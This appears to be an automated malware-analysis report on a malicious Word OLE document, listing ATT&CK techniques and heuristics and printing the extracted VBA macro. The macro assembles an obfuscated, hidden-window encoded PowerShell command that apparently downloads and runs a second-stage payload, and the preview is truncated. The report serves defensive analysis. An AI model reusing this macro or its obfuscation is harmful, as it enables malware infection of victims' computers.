MALICIOUS
82
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro that constructs and executes a PowerShell command. The PowerShell command is heavily obfuscated but appears to be designed to download and execute a second-stage payload. The presence of the Autoopen marker and the OLE slack anomaly suggest a malicious intent, likely to trick the user into running the macro.
Heuristics 4
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 71,279 bytes but its declared streams total only 35,541 bytes — 35,738 bytes (50%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6961 bytes |
SHA-256: 4cc16ebeb38e90f17713d846e105ab3f954fc341144b632ee313e99cfebb3084 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "IlsYHANwt"
Function iCLqSvPc()
On Error Resume Next
Select Case KAlAWNiKc
Case 24821
izQaz = 18562
kHXfk = CDbl(57154)
Case 87342
OsihO = wrOaI
MHwiU = 82895
End Select
TrEDqRk = "owersHeLL -W" + "inDows" + "Tyle hid" + "den -e IAAoACcA" + "QwBIAG4AJwArACc" + "AbgBzACcAKw" + "AnAGEAZ" + "ABhACcA"
Select Case KAloZvhW
Case 50178
aQCVG = 30513
Swmju = CDbl(96109)
Case 7807
FCzrwH = JtLtFF
TLIHCp = 62113
End Select
pmHRXUJQv = "KwAnAHMAZAAgAD0" + "AIAAmACcAKwAnA" + "CgAJwArACcAMgB" + "yAE0A" + "JwArACcAbgAnACs" + "AJwAyAHIAJwAr" + "ACcATQ" + "AnACsAJ" + "wArADIAcgAnA" + "CsAJwBNA"
Select Case KAlsUsEuJ
Case 23582
ZtUGTt = 64573
bEzHJK = CDbl(24954)
Case 20823
nfaXn = OBQKfw
MUwvlA = 70032
End Select
PAknA = "GUAMgAnACsAJw" + "ByAE0AKwAyAHI" + "ATQB3AC0AbwBiAG" + "oAZQBjA" + "CcAKwAnAD" + "IAcgAnACs" + "AJwBNACsAMg" + "ByACcAKwAnAE0AJ" + "wArACcAd" + "AAyACcAKwA"
Select Case KAlKZddfz
Case 83982
jhHhC = 12234
lamwFF = CDbl(7518)
Case 68008
jirdK = YMaDd
wuHzX = 54403
End Select
tZWlRKEbTlM = "nAHIATQAnACsA" + "JwApACAAcgBh" + "ACcAKwAnAG4" + "AZABvAG0A" + "JwArACcAOwAnACs" + "AJwBDAEgAbgBZA"
Select Case KAlcXQqGq
Case 21576
zCisG = 81561
wzFOOS = CDbl(17815)
Case 89301
zdYof = AidUHi
rlnzs = 47335
End Select
MYjAYuSulSR = "FkAVQAg" + "AD0AIAAuACg" + "AMgByAE0AJwArAC" + "cAbgAnACsAJw" + "BlADIAJwArACcAc" + "gBNAC" + "sAMgByA" + "E0AJwArACcAdwA"
iCLqSvPc = TrEDqRk + pmHRXUJQv + PAknA + tZWlRKEbTlM + MYjAYuSulSR
End Function
Function cDTDRSk()
On Error Resume Next
Select Case KAlvKWPV
Case 95316
rIORT = 56400
rdSWp = CDbl(40973)
Case 2206
PmjwhG = aOakj
oGJSh = 40067
End Select
WzNQhzK = "yAHIATQ" + "AnACsAJ" + "wArAD" + "IAcgA" + "nACsAJwBNA" + "CcAKwAnAC0Abw" + "BiAGoAZQBj" + "AHQAMgByA" + "E0AKQAnACsAJ"
Select Case KAlZPCoB
Case 10881
HVcCD = 18880
vjfYP = CDbl(6209)
Case 43549
zritwC = JDHAr
zjvvb = 12353
End Select
RoLDzt = "wAgAFMAeQBzA" + "CcAKwAn" + "AHQAZQAnACsA" + "JwBtAC4AJwArA" + "CcATgAnACs" + "AJwBlACcAKwAn" + "AHQALgAnACsAJwB" + "XAGUAYgA" + "nACsA"
Select Case KAlFlXhZ
Case 21028
WdtRRn = 84418
LFHHz = CDbl(71227)
Case 22929
uCSiv = kdowKc
TBUnJ = 641
End Select
oDTzhAIPTtw = "JwBDAGwA" + "aQBlACcAKwAn" + "AG4AdAA7A" + "EMASAAnA" + "CsAJwBu" + "ACcAKwAnAE"
Select Case KAlJpiEdj
Case 46528
nUIbtN = 56963
HjwWsQ = CDbl(57626)
Case 40007
PCsEnT = kjPETN
MbvpT = 76858
End Select
IMBLikwbjwI = "4AUwA" + "nACsA" + "JwBCACAAPQ" + "AgACcAKwAnA"
Select Case KAliApWMH
Case 24504
ntMObO = 63415
kAAUqN = CDbl(95884)
Case 48579
tikuz = KjuhCD
aMbHsV = 85258
End Select
zSYTIr = "EMASABuA" + "G4AcwBhAGQAYQAn" + "ACsAJwBz" + "ACcAKwAnAGQAL" + "gAnACsAJwB"
Select Case KAlmnfwK
Case 79121
TrUCQ = 23068
ccipS = CDbl(2710)
Case 63898
jicCao = jVcjEG
FwnlsN = 4779
End Select
zfPZi = "uAGUAe" + "AB0AC" + "gAMQAw" + "ADAAMAAwA" + "CcAKwAnACwA" + "IAAyADgAMg" + "AxADMAJwAr"
Select Case KAlAnWGj
Case 98257
DCqYF = 11986
THOiZ = CDbl(15539)
Case 99049
jHMkWk = hJTiU
pjTEuL = 34619
End Select
FJrCqwi = "ACcAM" + "wApADsAJw" + "ArACc" + "AQwBIAG4AQQBEAE" + "MAWAAn" + "ACsAJwA" + "gAD0AI" + "AAyAHIATQANAA" + "oAJwArACcAaAAn"
Select Case KAlpfBlE
Case 59035
WOouNZ = 7266
uzcoA = CDbl(40588)
Case 64699
alWib = ZiwhAt
LzSFWL = 90909
End Select
MWXrV = "ACsAJwB0AHQAcAA" + "nACsAJwA6" + "AC8AJwArACcALwB" + "rAGkAbgAnACsA" + "JwBhACcAKw" + "AnAGcAYQB" + "sACcAKwAnAGEAd" + "wBmAG" + "kAcgBtACcA
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.